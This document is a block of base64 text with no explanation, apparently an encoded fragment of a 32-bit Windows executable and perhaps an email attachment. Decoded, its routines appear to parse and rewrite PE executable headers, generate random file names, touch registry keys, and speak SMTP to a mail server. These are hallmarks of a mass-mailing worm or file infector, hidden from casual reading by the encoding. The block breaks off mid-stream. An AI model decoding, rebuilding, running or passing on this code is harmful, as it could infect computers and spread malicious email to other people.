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 